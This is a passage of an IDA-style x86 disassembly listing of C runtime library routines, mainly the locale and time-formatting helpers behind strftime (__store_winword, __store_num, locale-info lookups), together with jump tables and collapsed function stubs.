(__wctype+2)[eax*2] and ecx, [ebp+arg_4] mov [ebp+var_4], ecx jmp short loc_436075 ; --------------------------------------------------------------------------- loc_43606E: ; CODE XREF: sub_436030+27j mov [ebp+var_4], 0 loc_436075: ; CODE XREF: sub_436030+3Cj cmp [ebp+var_4], 0 jnz short loc_436084 mov [ebp+var_8], 0 jmp short loc_43608B ; --------------------------------------------------------------------------- loc_436084: ; CODE XREF: sub_436030+21j ; sub_436030+49j mov [ebp+var_8], 1 loc_43608B: ; CODE XREF: sub_436030+52j mov eax, [ebp+var_8] mov esp, ebp pop ebp retn sub_436030 endp ; --------------------------------------------------------------------------- align 10h ; [00000073 BYTES: COLLAPSED FUNCTION __chsize. PRESS KEYPAD "+" TO EXPAND] align 10h ; [00000230 BYTES: COLLAPSED FUNCTION __chsize_lk. PRESS KEYPAD "+" TO EXPAND] ; [0000003E BYTES: COLLAPSED FUNCTION ___addl. PRESS KEYPAD "+" TO EXPAND] align 10h ; [000000AD BYTES: COLLAPSED FUNCTION ___add_12. PRESS KEYPAD "+" TO EXPAND] align 10h ; [00000060 BYTES: COLLAPSED FUNCTION ___shl_12. PRESS KEYPAD "+" TO EXPAND] ; [00000063 BYTES: COLLAPSED FUNCTION ___shr_12. PRESS KEYPAD "+" TO EXPAND] align 10h ; [0000013B BYTES: COLLAPSED FUNCTION ___mtold12. PRESS KEYPAD "+" TO EXPAND] align 10h ; [00000A1A BYTES: COLLAPSED FUNCTION ___strgtold12. PRESS KEYPAD "+" TO EXPAND] off_43706A dd offset loc_43672C ; DATA XREF: ___strgtold12+D5r dd offset loc_4367CA dd offset loc_436880 dd offset loc_4368EB dd offset loc_436A03 dd offset loc_436B35 dd offset loc_436BAB dd offset loc_436C90 dd offset loc_436C32 dd offset loc_436CE3 dd offset loc_436E53 dd offset loc_436DEF off_43709A dd offset loc_436859 ; DATA XREF: ___strgtold12+1F0r dd offset loc_436847 dd offset loc_436850 dd offset loc_43686B byte_4370AA db 0 ; DATA XREF: ___strgtold12+1EAr db 3 dd 1030300h, 4 dup(3030303h), 2030303h, 3030302h, 6 dup(3030303h) dd 2030303h db 2 dd offset loc_4369DC ; DATA XREF: ___strgtold12+37Cr dd offset loc_4369D3 dd offset loc_4369EE byte_4370F1 db 0 ; DATA XREF: ___strgtold12+376r dw 2 dd 5 dup(2020202h), 1010202h, 7 dup(2020202h), 1010202h off_43712C dd offset loc_436B0E ; DATA XREF: ___strgtold12+4AEr dd offset loc_436B05 dd offset loc_436B20 byte_437138 db 0 ; DATA XREF: ___strgtold12+4A8r db 2, 0, 2 dd 5 dup(2020202h), 2010102h, 7 dup(2020202h), 0CC010102h dd 3 dup(0CCCCCCCCh) ; [0000004F BYTES: COLLAPSED FUNCTION ___STRINGTOLD. PRESS KEYPAD "+" TO EXPAND] align 10h ; [00000516 BYTES: COLLAPSED FUNCTION _$I10_OUTPUT. PRESS KEYPAD "+" TO EXPAND] align 10h push ebp mov ebp, esp push ecx push 0Ch call __lock add esp, 4 mov eax, [ebp+8] push eax call _getenv add esp, 4 mov [ebp-4], eax push 0Ch call __unlock add esp, 4 mov eax, [ebp-4] mov esp, ebp pop ebp retn ; --------------------------------------------------------------------------- align 10h ; [000000C6 BYTES: COLLAPSED FUNCTION _getenv. PRESS KEYPAD "+" TO EXPAND] align 10h ; [00000121 BYTES: COLLAPSED FUNCTION __Getdays. PRESS KEYPAD "+" TO EXPAND] align 10h ; [00000123 BYTES: COLLAPSED FUNCTION __Getmonths. PRESS KEYPAD "+" TO EXPAND] align 10h ; [0000036E BYTES: COLLAPSED FUNCTION __Gettnames. PRESS KEYPAD "+" TO EXPAND] align 10h push ebp mov ebp, esp push 0 mov eax, [ebp+14h] push eax mov ecx, [ebp+10h] push ecx mov edx, [ebp+0Ch] push edx mov eax, [ebp+8] push eax call sub_437DE0 add esp, 14h pop ebp retn ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_437DE0 proc near ; CODE XREF: .text:00437DD5p var_14 = byte ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp sub esp, 14h mov eax, [ebp+arg_4] mov [ebp+var_C], eax push offset dword_4F39C8 call ds:dword_4F5488 ; InterlockedIncrement cmp dword_4F39C4, 0 jz short loc_437E1E push offset dword_4F39C8 call ds:dword_4F5484 ; InterlockedDecrement push 13h call __lock add esp, 4 mov [ebp+var_8], 1 jmp short loc_437E25 ; --------------------------------------------------------------------------- loc_437E1E: ; CODE XREF: sub_437DE0+1Ej mov [ebp+var_8], 0 loc_437E25: ; CODE XREF: sub_437DE0+3Cj cmp [ebp+arg_10], 0 jnz short loc_437E36 mov ecx, off_454E38 mov [ebp+var_10], ecx jmp short loc_437E3C ; --------------------------------------------------------------------------- loc_437E36: ; CODE XREF: sub_437DE0+49j mov edx, [ebp+arg_10] mov [ebp+var_10], edx loc_437E3C: ; CODE XREF: sub_437DE0+54j mov eax, [ebp+var_10] mov [ebp+var_4], eax loc_437E42: ; CODE XREF: sub_437DE0:loc_437F2Ej cmp [ebp+var_C], 0 jbe loc_437F33 mov ecx, [ebp+arg_8] mov dl, [ecx] mov [ebp+var_14], dl cmp [ebp+var_14], 0 jz short loc_437E62 cmp [ebp+var_14], 25h jz short loc_437E67 jmp short loc_437EC1 ; --------------------------------------------------------------------------- loc_437E62: ; CODE XREF: sub_437DE0+78j jmp loc_437F33 ; --------------------------------------------------------------------------- loc_437E67: ; CODE XREF: sub_437DE0+7Ej mov eax, [ebp+arg_8] add eax, 1 mov [ebp+arg_8], eax mov dword_4F38B0, 0 mov ecx, [ebp+arg_8] movsx edx, byte ptr [ecx] cmp edx, 23h jnz short loc_437E98 mov dword_4F38B0, 1 mov eax, [ebp+arg_8] add eax, 1 mov [ebp+arg_8], eax loc_437E98: ; CODE XREF: sub_437DE0+A3j mov ecx, [ebp+var_4] push ecx lea edx, [ebp+var_C] push edx lea eax, [ebp+arg_0] push eax mov ecx, [ebp+arg_C] push ecx mov edx, [ebp+arg_8] mov al, [edx] push eax call sub_437F70 add esp, 14h mov ecx, [ebp+arg_8] add ecx, 1 mov [ebp+arg_8], ecx jmp short loc_437F2E ; --------------------------------------------------------------------------- loc_437EC1: ; CODE XREF: sub_437DE0+80j mov edx, [ebp+arg_8] xor eax, eax mov al, [edx] mov ecx, off_453CF4 xor edx, edx mov dx, [ecx+eax*2] and edx, 8000h test edx, edx jz short loc_437F09 cmp [ebp+var_C], 1 jbe short loc_437F09 mov eax, [ebp+arg_0] mov ecx, [ebp+arg_8] mov dl, [ecx] mov [eax], dl mov eax, [ebp+arg_0] add eax, 1 mov [ebp+arg_0], eax mov ecx, [ebp+arg_8] add ecx, 1 mov [ebp+arg_8], ecx mov edx, [ebp+var_C] sub edx, 1 mov [ebp+var_C], edx loc_437F09: ; CODE XREF: sub_437DE0+FCj ; sub_437DE0+102j mov eax, [ebp+arg_0] mov ecx, [ebp+arg_8] mov dl, [ecx] mov [eax], dl mov eax, [ebp+arg_0] add eax, 1 mov [ebp+arg_0], eax mov ecx, [ebp+arg_8] add ecx, 1 mov [ebp+arg_8], ecx mov edx, [ebp+var_C] sub edx, 1 mov [ebp+var_C], edx loc_437F2E: ; CODE XREF: sub_437DE0+DFj jmp loc_437E42 ; --------------------------------------------------------------------------- loc_437F33: ; CODE XREF: sub_437DE0+66j ; sub_437DE0:loc_437E62j cmp [ebp+var_8], 0 jz short loc_437F45 push 13h call __unlock add esp, 4 jmp short loc_437F50 ; --------------------------------------------------------------------------- loc_437F45: ; CODE XREF: sub_437DE0+157j push offset dword_4F39C8 call ds:dword_4F5484 ; InterlockedDecrement loc_437F50: ; CODE XREF: sub_437DE0+163j cmp [ebp+var_C], 0 jbe short loc_437F64 mov eax, [ebp+arg_0] mov byte ptr [eax], 0 mov eax, [ebp+arg_4] sub eax, [ebp+var_C] jmp short loc_437F66 ; --------------------------------------------------------------------------- loc_437F64: ; CODE XREF: sub_437DE0+174j xor eax, eax loc_437F66: ; CODE XREF: sub_437DE0+182j mov esp, ebp pop ebp retn sub_437DE0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_437F70 proc near ; CODE XREF: sub_437DE0+CEp ; __store_winword+3ECp var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = byte ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp sub esp, 0Ch push esi movsx eax, [ebp+arg_0] mov [ebp+var_C], eax mov ecx, [ebp+var_C] sub ecx, 25h mov [ebp+var_C], ecx cmp [ebp+var_C], 55h ja loc_4384D8 mov eax, [ebp+var_C] xor edx, edx mov dl, ds:byte_438539[eax] jmp ds:off_4384DD[edx*4] loc_437FA3: ; DATA XREF: .text:0043850Do mov ecx, [ebp+arg_C] push ecx mov edx, [ebp+arg_8] push edx mov eax, [ebp+arg_4] mov ecx, [eax+18h] mov edx, [ebp+arg_10] mov eax, [edx+ecx*4] push eax call __store_str add esp, 0Ch jmp loc_4384D8 ; --------------------------------------------------------------------------- loc_437FC5: ; CODE XREF: sub_437F70+2Cj ; DATA XREF: .text:004384E1o mov ecx, [ebp+arg_C] push ecx mov edx, [ebp+arg_8] push edx mov eax, [ebp+arg_4] mov ecx, [eax+18h] mov edx, [ebp+arg_10] mov eax, [edx+ecx*4+1Ch] push eax call __store_str add esp, 0Ch jmp loc_4384D8 ; --------------------------------------------------------------------------- loc_437FE8: ; CODE XREF: sub_437F70+2Cj ; DATA XREF: .text:00438511o mov ecx, [ebp+arg_C] push ecx mov edx, [ebp+arg_8] push edx mov eax, [ebp+arg_4] mov ecx, [eax+10h] mov edx, [ebp+arg_10] mov eax, [edx+ecx*4+38h] push eax call __store_str add esp, 0Ch jmp loc_4384D8 ; --------------------------------------------------------------------------- loc_43800B: ; CODE XREF: sub_437F70+2Cj ; DATA XREF: .text:004384E5o mov ecx, [ebp+arg_C] push ecx mov edx, [ebp+arg_8] push edx mov eax, [ebp+arg_4] mov ecx, [eax+10h] mov edx, [ebp+arg_10] mov eax, [edx+ecx*4+68h] push eax call __store_str add esp, 0Ch jmp loc_4384D8 ; --------------------------------------------------------------------------- loc_43802E: ; CODE XREF: sub_437F70+2Cj ; DATA XREF: .text:00438515o cmp dword_4F38B0, 0 jz short loc_4380B6 mov dword_4F38B0, 0 mov ecx, [ebp+arg_10] push ecx ; int mov edx, [ebp+arg_C] push edx ; int mov eax, [ebp+arg_8] push eax ; int mov ecx, [ebp+arg_4] push ecx ; int mov edx, [ebp+arg_10] mov eax, [edx+0A4h] push eax ; Str1 call __store_winword add esp, 14h mov ecx, [ebp+arg_C] cmp dword ptr [ecx], 0 jnz short loc_438070 jmp loc_4384D8 ; --------------------------------------------------------------------------- loc_438070: ; CODE XREF: sub_437F70+F9j mov edx, [ebp+arg_8] mov eax, [edx] mov byte ptr [eax], 20h mov ecx, [ebp+arg_8] mov edx, [ecx] add edx, 1 mov eax, [ebp+arg_8] mov [eax], edx mov ecx, [ebp+arg_C] mov edx, [ecx] sub edx, 1 mov eax, [ebp+arg_C] mov [eax], edx mov ecx, [ebp+arg_10] push ecx ; int mov edx, [ebp+arg_C] push edx ; int mov eax, [ebp+arg_8] push eax ; int mov ecx, [ebp+arg_4] push ecx ; int mov edx, [ebp+arg_10] mov eax, [edx+0A8h] push eax ; Str1 call __store_winword add esp, 14h jmp short loc_438129 ; --------------------------------------------------------------------------- loc_4380B6: ; CODE XREF: sub_437F70+C5j mov ecx, [ebp+arg_10] push ecx ; int mov edx, [ebp+arg_C] push edx ; int mov eax, [ebp+arg_8] push eax ; int mov ecx, [ebp+arg_4] push ecx ; int mov edx, [ebp+arg_10] mov eax, [edx+0A0h] push eax ; Str1 call __store_winword add esp, 14h mov ecx, [ebp+arg_C] cmp dword ptr [ecx], 0 jnz short loc_4380E5 jmp loc_4384D8 ; --------------------------------------------------------------------------- loc_4380E5: ; CODE XREF: sub_437F70+16Ej mov edx, [ebp+arg_8] mov eax, [edx] mov byte ptr [eax], 20h mov ecx, [ebp+arg_8] mov edx, [ecx] add edx, 1 mov eax, [ebp+arg_8] mov [eax], edx mov ecx, [ebp+arg_C] mov edx, [ecx] sub edx, 1 mov eax, [ebp+arg_C] mov [eax], edx mov ecx, [ebp+arg_10] push ecx ; int mov edx, [ebp+arg_C] push edx ; int mov eax, [ebp+arg_8] push eax ; int mov ecx, [ebp+arg_4] push ecx ; int mov edx, [ebp+arg_10] mov eax, [edx+0A8h] push eax ; Str1 call __store_winword add esp, 14h loc_438129: ; CODE XREF: sub_437F70+144j jmp loc_4384D8 ; --------------------------------------------------------------------------- loc_43812E: ; CODE XREF: sub_437F70+2Cj ; DATA XREF: .text:00438519o mov ecx, dword_4F38B0 mov dword_4F38B4, ecx mov edx, [ebp+arg_C] push edx mov eax, [ebp+arg_8] push eax push 2 mov ecx, [ebp+arg_4] mov edx, [ecx+0Ch] push edx call __store_num add esp, 10h jmp loc_4384D8 ; --------------------------------------------------------------------------- loc_438158: ; CODE XREF: sub_437F70+2Cj ; DATA XREF: .text:004384E9o mov eax, dword_4F38B0 mov dword_4F38B4, eax mov ecx, [ebp+arg_C] push ecx mov edx, [ebp+arg_8] push edx push 2 mov eax, [ebp+arg_4] mov ecx, [eax+8] push ecx call __store_num add esp, 10h jmp loc_4384D8 ; --------------------------------------------------------------------------- loc_438180: ; CODE XREF: sub_437F70+2Cj ; DATA XREF: .text:004384EDo mov edx, dword_4F38B0 mov dword_4F38B4, edx mov eax, [ebp+arg_4] mov eax, [eax+8] cdq mov ecx, 0Ch idiv ecx mov [ebp+var_4], edx cmp [ebp+var_4], 0 jnz short loc_4381AA mov [ebp+var_4], 0Ch loc_4381AA: ; CODE XREF: sub_437F70+231j mov edx, [ebp+arg_C] push edx mov eax, [ebp+arg_8] push eax push 2 mov ecx, [ebp+var_4] push ecx call __store_num add esp, 10h jmp loc_4384D8 ; --------------------------------------------------------------------------- loc_4381C5: ; CODE XREF: sub_437F70+2Cj ; DATA XREF: .text:0043851Do mov edx, dword_4F38B0 mov dword_4F38B4, edx mov eax, [ebp+arg_C] push eax mov ecx, [ebp+arg_8] push ecx push 3 mov edx, [ebp+arg_4] mov eax, [edx+1Ch] add eax, 1 push eax call __store_num add esp, 10h jmp loc_4384D8 ; --------------------------------------------------------------------------- loc_4381F2: ; CODE XREF: sub_437F70+2Cj ; DATA XREF: .text:00438521o mov ecx, dword_4F38B0 mov dword_4F38B4, ecx mov edx, [ebp+arg_C] push edx mov eax, [ebp+arg_8] push eax push 2 mov ecx, [ebp+arg_4] mov edx, [ecx+10h] add edx, 1 push edx call __store_num add esp, 10h jmp loc_4384D8 ; --------------------------------------------------------------------------- loc_43821F: ; CODE XREF: sub_437F70+2Cj ; DATA XREF: .text:004384F1o mov eax, dword_4F38B0 mov dword_4F38B4, eax mov ecx, [ebp+arg_C] push ecx mov edx, [ebp+arg_8] push edx push 2 mov eax, [ebp+arg_4] mov ecx, [eax+4] push ecx call __store_num add esp, 10h jmp loc_4384D8 ; --------------------------------------------------------------------------- loc_438247: ; CODE XREF: sub_437F70+2Cj ; DATA XREF: .text:00438525o mov edx, [ebp+arg_4] cmp dword ptr [edx+8], 0Bh jg short loc_43826C mov eax, [ebp+arg_C] push eax mov ecx, [ebp+arg_8] push ecx mov edx, [ebp+arg_10] mov eax, [edx+98h] push eax call __store_str add esp, 0Ch jmp short loc_438286 ; --------------------------------------------------------------------------- loc_43826C: ; CODE XREF: sub_437F70+2DEj mov ecx, [ebp+arg_C] push ecx mov edx, [ebp+arg_8] push edx mov eax, [ebp+arg_10] mov ecx, [eax+9Ch] push ecx call __store_str add esp, 0Ch loc_438286: ; CODE XREF: sub_437F70+2FAj jmp loc_4384D8 ; --------------------------------------------------------------------------- loc_43828B: ; CODE XREF: sub_437F70+2Cj ; DATA XREF: .text:004384F5o mov edx, dword_4F38B0 mov dword_4F38B4, edx mov eax, [ebp+arg_C] push eax mov ecx, [ebp+arg_8] push ecx push 2 mov edx, [ebp+arg_4] mov eax, [edx] push eax call __store_num add esp, 10h jmp loc_4384D8 ; --------------------------------------------------------------------------- loc_4382B4: ; CODE XREF: sub_437F70+2Cj ; DATA XREF: .text:004384F9o mov ecx, dword_4F38B0 mov dword_4F38B4, ecx mov edx, [ebp+arg_4] mov eax, [edx+18h] mov [ebp+var_8], eax jmp short loc_43831D ; --------------------------------------------------------------------------- loc_4382CB: ; CODE XREF: sub_437F70+2Cj ; DATA XREF: .text:00438529o mov ecx, dword_4F38B0 mov dword_4F38B4, ecx mov edx, [ebp+arg_C] push edx mov eax, [ebp+arg_8] push eax push 1 mov ecx, [ebp+arg_4] mov edx, [ecx+18h] push edx call __store_num add esp, 10h jmp loc_4384D8 ; --------------------------------------------------------------------------- loc_4382F5: ; CODE XREF: sub_437F70+2Cj ; DATA XREF: .text:004384FDo mov eax, dword_4F38B0 mov dword_4F38B4, eax mov ecx, [ebp+arg_4] cmp dword ptr [ecx+18h], 0 jnz short loc_438311 mov [ebp+var_8], 6 jmp short loc_43831D ; --------------------------------------------------------------------------- loc_438311: ; CODE XREF: sub_437F70+396j mov edx, [ebp+arg_4] mov eax, [edx+18h] sub eax, 1 mov [ebp+var_8], eax loc_43831D: ; CODE XREF: sub_437F70+359j ; sub_437F70+39Fj mov ecx, [ebp+arg_4] mov edx, [ecx+1Ch] cmp edx, [ebp+var_8] jge short loc_438331 mov [ebp+var_4], 0 jmp short loc_43835E ; --------------------------------------------------------------------------- loc_438331: ; CODE XREF: sub_437F70+3B6j mov eax, [ebp+arg_4] mov eax, [eax+1Ch] cdq mov ecx, 7 idiv ecx mov [ebp+var_4], eax mov edx, [ebp+arg_4] mov eax, [edx+1Ch] cdq mov ecx, 7 idiv ecx cmp edx, [ebp+var_8] jl short loc_43835E mov edx, [ebp+var_4] add edx, 1 mov [ebp+var_4], edx loc_43835E: ; CODE XREF: sub_437F70+3BFj ; sub_437F70+3E3j mov eax, [ebp+arg_C] push eax mov ecx, [ebp+arg_8] push ecx push 2 mov edx, [ebp+var_4] push edx call __store_num add esp, 10h jmp loc_4384D8 ; --------------------------------------------------------------------------- loc_438379: ; CODE XREF: sub_437F70+2Cj ; DATA XREF: .text:0043852Do cmp dword_4F38B0, 0 jz short loc_4383B0 mov dword_4F38B0, 0 mov eax, [ebp+arg_10] push eax ; int mov ecx, [ebp+arg_C] push ecx ; int mov edx, [ebp+arg_8] push edx ; int mov eax, [ebp+arg_4] push eax ; int mov ecx, [ebp+arg_10] mov edx, [ecx+0A4h] push edx ; Str1 call __store_winword add esp, 14h jmp short loc_4383D2 ; --------------------------------------------------------------------------- loc_4383B0: ; CODE XREF: sub_437F70+410j mov eax, [ebp+arg_10] push eax ; int mov ecx, [ebp+arg_C] push ecx ; int mov edx, [ebp+arg_8] push edx ; int mov eax, [ebp+arg_4] push eax ; int mov ecx, [ebp+arg_10] mov edx, [ecx+0A0h] push edx ; Str1 call __store_winword add esp, 14h loc_4383D2: ; CODE XREF: sub_437F70+43Ej jmp loc_4384D8 ; --------------------------------------------------------------------------- loc_4383D7: ; CODE XREF: sub_437F70+2Cj ; DATA XREF: .text:00438501o mov dword_4F38B0, 0 mov eax, [ebp+arg_10] push eax ; int mov ecx, [ebp+arg_C] push ecx ; int mov edx, [ebp+arg_8] push edx ; int mov eax, [ebp+arg_4] push eax ; int mov ecx, [ebp+arg_10] mov edx, [ecx+0A8h] push edx ; Str1 call __store_winword add esp, 14h jmp loc_4384D8 ; --------------------------------------------------------------------------- loc_438408: ; CODE XREF: sub_437F70+2Cj ; DATA XREF: .text:00438531o mov eax, dword_4F38B0 mov dword_4F38B4, eax mov ecx, [ebp+arg_4] mov eax, [ecx+14h] cdq mov ecx, 64h idiv ecx mov [ebp+var_4], edx mov edx, [ebp+arg_C] push edx mov eax, [ebp+arg_8] push eax push 2 mov ecx, [ebp+var_4] push ecx call __store_num add esp, 10h jmp loc_4384D8 ; --------------------------------------------------------------------------- loc_43843E: ; CODE XREF: sub_437F70+2Cj ; DATA XREF: .text:00438505o mov edx, dword_4F38B0 mov dword_4F38B4, edx mov eax, [ebp+arg_4] mov eax, [eax+14h] cdq mov ecx, 64h idiv ecx mov ecx, eax add ecx, 13h imul ecx, 64h mov edx, [ebp+arg_4] mov eax, [edx+14h] cdq mov esi, 64h idiv esi add ecx, edx mov [ebp+var_4], ecx mov eax, [ebp+arg_C] push eax mov ecx, [ebp+arg_8] push ecx push 4 mov edx, [ebp+var_4] push edx call __store_num add esp, 10h jmp short loc_4384D8 ; --------------------------------------------------------------------------- loc_43848B: ; CODE XREF: sub_437F70+2Cj ; DATA XREF: .text:00438509o call ___tzset mov eax, [ebp+arg_C] push eax mov ecx, [ebp+arg_8] push ecx mov edx, [ebp+arg_4] xor eax, eax cmp dword ptr [edx+20h], 0 setnz al mov ecx, off_454624[eax*4] push ecx call __store_str add esp, 0Ch jmp short loc_4384D8 ; --------------------------------------------------------------------------- loc_4384B6: ; CODE XREF: sub_437F70+2Cj ; DATA XREF: .text:off_4384DDo mov edx, [ebp+arg_8] mov eax, [edx] mov byte ptr [eax], 25h mov ecx, [ebp+arg_8] mov edx, [ecx] add edx, 1 mov eax, [ebp+arg_8] mov [eax], edx mov ecx, [ebp+arg_C] mov edx, [ecx] sub edx, 1 mov eax, [ebp+arg_C] mov [eax], edx loc_4384D8: ; CODE XREF: sub_437F70+1Bj ; sub_437F70+2Cj ... pop esi mov esp, ebp pop ebp retn sub_437F70 endp ; --------------------------------------------------------------------------- off_4384DD dd offset loc_4384B6 ; DATA XREF: sub_437F70+2Cr dd offset loc_437FC5 dd offset loc_43800B dd offset loc_438158 dd offset loc_438180 dd offset loc_43821F dd offset loc_43828B dd offset loc_4382B4 dd offset loc_4382F5 dd offset loc_4383D7 dd offset loc_43843E dd offset loc_43848B dd offset loc_437FA3 dd offset loc_437FE8 dd offset loc_43802E dd offset loc_43812E dd offset loc_4381C5 dd offset loc_4381F2 dd offset loc_438247 dd offset loc_4382CB dd offset loc_438379 dd offset loc_438408 dd offset loc_4384D8 byte_438539 db 0 ; DATA XREF: sub_437F70+26r dw 1616h dd 6 dup(16161616h), 16020116h, 16161616h, 16160403h, 16160516h dd 6161616h, 8160716h, 160B0A09h, 16161616h, 0E0D0C16h dd 1616160Fh, 16101616h, 16161116h, 16161612h, 13161616h dd 0CC0B1514h ; [00000048 BYTES: COLLAPSED FUNCTION __store_str. PRESS KEYPAD "+" TO EXPAND] align 10h ; [000000AD BYTES: COLLAPSED FUNCTION __store_num. PRESS KEYPAD "+" TO EXPAND] align 10h ; [000000AC BYTES: COLLAPSED FUNCTION __store_number. PRESS KEYPAD "+" TO EXPAND] align 10h ; [00000480 BYTES: COLLAPSED FUNCTION __store_winword. PRESS KEYPAD "+" TO EXPAND] off_438BC0 dd offset loc_438A2F ; DATA XREF: __store_winword+91r dd offset loc_438913 dd offset loc_43889E dd offset loc_4387D8 dd offset loc_438816 dd offset loc_438877 dd offset loc_4388C5 dd offset loc_4388EC dd offset loc_43895A dd offset loc_438854 dd offset loc_438B10 byte_438BEC db 0 ; DATA XREF: __store_winword+8Br db 3 dup(0Ah) dd 5 dup(0A0A0A0Ah), 0A010A0Ah, 0A0A0A0Ah, 0A0A020Ah, 0A030A0Ah dd 4 dup(0A0A0A0Ah), 0A010A0Ah, 0A0A040Ah, 0A0A050Ah, 0A060A0Ah dd 0A0A0A0Ah, 0A0A0807h db 2 dup(0Ah), 9 dd offset loc_4387F7 ; DATA XREF: __store_winword+B0r dd offset loc_438801 dd offset loc_438807 dd offset loc_43880D off_438C4F dd offset loc_438835 ; DATA XREF: __store_winword+EEr dd offset loc_43883F dd offset loc_438845 dd offset loc_43884B align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_438C60 proc near ; CODE XREF: __get_lc_time+41p ; __get_lc_time+60p ... var_A8 = dword ptr -0A8h var_A4 = dword ptr -0A4h var_A0 = dword ptr -0A0h var_9C = dword ptr -9Ch var_98 = dword ptr -98h var_94 = dword ptr -94h var_90 = dword ptr -90h var_8C = byte ptr -8Ch Source = dword ptr -0Ch Count = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 0A8h cmp [ebp+arg_0], 1 jnz loc_438DC9 mov eax, [ebp+arg_C] mov [ebp+var_90], eax lea ecx, [ebp+var_8C] mov [ebp+Source], ecx mov [ebp+var_4], 0 mov [ebp+var_94], 80h push 0 mov edx, [ebp+var_94] push edx mov eax, [ebp+Source] push eax mov ecx, [ebp+arg_8] push ecx mov edx, [ebp+arg_4] push edx call ___crtGetLocaleInfoA add esp, 14h mov [ebp+Count], eax cmp [ebp+Count], 0 jnz loc_438D4F call ds:dword_4F5360 ; RtlGetLastWin32Error cmp eax, 7Ah jz short loc_438CD0 jmp loc_438DAD ; --------------------------------------------------------------------------- loc_438CD0: ; CODE XREF: sub_438C60+69j push 0 push 0 push 0 mov eax, [ebp+arg_8] push eax mov ecx, [ebp+arg_4] push ecx call ___crtGetLocaleInfoA add esp, 14h mov [ebp+var_94], eax cmp [ebp+var_94], 0 jnz short loc_438CFA jmp loc_438DAD ; --------------------------------------------------------------------------- loc_438CFA: ; CODE XREF: sub_438C60+93j push 58h push offset aInithelp_c ; "inithelp.c" push 2 mov edx, [ebp+var_94] push edx call __malloc_dbg add esp, 10h mov [ebp+Source], eax cmp [ebp+Source], 0 jnz short loc_438D20 jmp loc_438DAD ; --------------------------------------------------------------------------- loc_438D20: ; CODE XREF: sub_438C60+B9j mov [ebp+var_4], 1 push 0 mov eax, [ebp+var_94] push eax mov ecx, [ebp+Source] push ecx mov edx, [ebp+arg_8] push edx mov eax, [ebp+arg_4] push eax call ___crtGetLocaleInfoA add esp, 14h mov [ebp+Count], eax cmp [ebp+Count], 0 jnz short loc_438D4F jmp short loc_438DAD ; --------------------------------------------------------------------------- loc_438D4F: ; CODE XREF: sub_438C60+5Aj ; sub_438C60+EBj push 63h push offset aInithelp_c ; "inithelp.c" push 2 mov ecx, [ebp+Count] push ecx call __malloc_dbg add esp, 10h mov edx, [ebp+var_90] mov [edx], eax mov eax, [ebp+var_90] cmp dword ptr [eax], 0 jnz short loc_438D79 jmp short loc_438DAD ; --------------------------------------------------------------------------- loc_438D79: ; CODE XREF: sub_438C60+115j mov ecx, [ebp+Count] push ecx ; Count mov edx, [ebp+Source] push edx ; Source mov eax, [ebp+var_90] mov ecx, [eax] push ecx ; Dest call _strncpy add esp, 0Ch cmp [ebp+var_4], 0 jz short loc_438DA6 push 2 mov edx, [ebp+Source] push edx call __free_dbg add esp, 8 loc_438DA6: ; CODE XREF: sub_438C60+136j xor eax, eax jmp loc_438EE6 ; --------------------------------------------------------------------------- loc_438DAD: ; CODE XREF: sub_438C60+6Bj ; sub_438C60+95j ... cmp [ebp+var_4], 0 jz short loc_438DC1 push 2 mov eax, [ebp+Source] push eax call __free_dbg add esp, 8 loc_438DC1: ; CODE XREF: sub_438C60+151j or eax, 0FFFFFFFFh jmp loc_438EE6 ; --------------------------------------------------------------------------- loc_438DC9: ; CODE XREF: sub_438C60+Dj cmp [ebp+arg_0], 0 jnz loc_438EE3 mov [ebp+var_A4], 4 mov ecx, [ebp+arg_C] mov [ebp+var_9C], ecx push 0 mov edx, [ebp+var_A4] push edx push offset byte_4F388C mov eax, [ebp+arg_8] push eax mov ecx, [ebp+arg_4] push ecx call ___crtGetLocaleInfoW add esp, 14h test eax, eax jnz short loc_438E10 or eax, 0FFFFFFFFh jmp loc_438EE6 ; --------------------------------------------------------------------------- loc_438E10: ; CODE XREF: sub_438C60+1A6j mov edx, [ebp+var_9C] mov byte ptr [edx], 0 mov [ebp+var_A0], 0 jmp short loc_438E34 ; --------------------------------------------------------------------------- loc_438E25: ; CODE XREF: sub_438C60:loc_438EDAj mov eax, [ebp+var_A0] add eax, 1 mov [ebp+var_A0], eax loc_438E34: ; CODE XREF: sub_438C60+1C3j cmp [ebp+var_A0], 4 jge loc_438EDF cmp SrcSizeInBytes, 1 jle short loc_438E7B push 4 ; Type mov ecx, [ebp+var_A0] mov dl, byte_4F388C[ecx*2] mov byte ptr [ebp+var_98], dl mov eax, [ebp+var_98] and eax, 0FFh push eax ; C call __isctype add esp, 8 mov [ebp+var_A8], eax jmp short loc_438EAE ; --------------------------------------------------------------------------- loc_438E7B: ; CODE XREF: sub_438C60+1E8j mov ecx, [ebp+var_A0] mov dl, byte_4F388C[ecx*2] mov byte ptr [ebp+var_98], dl mov eax, [ebp+var_98] and eax, 0FFh mov ecx, off_453CF4 xor edx, edx mov dx, [ecx+eax*2] and edx, 4 mov [ebp+var_A8], edx loc_438EAE: ; CODE XREF: sub_438C60+219j cmp [ebp+var_A8], 0 jz short loc_438ED8 mov eax, [ebp+var_9C] movsx ecx, byte ptr [eax] imul ecx, 0Ah movsx edx, byte ptr [ebp+var_98] lea eax, [ecx+edx-30h] mov ecx, [ebp+var_9C] mov [ecx], al jmp short loc_438EDA ; --------------------------------------------------------------------------- loc_438ED8: ; CODE XREF: sub_438C60+255j jmp short loc_438EDF ; --------------------------------------------------------------------------- loc_438EDA: ; CODE XREF: sub_438C60+276j jmp loc_438E25 ; --------------------------------------------------------------------------- loc_438EDF: ; CODE XREF: sub_438C60+1DBj ; sub_438C60:loc_438ED8j xor 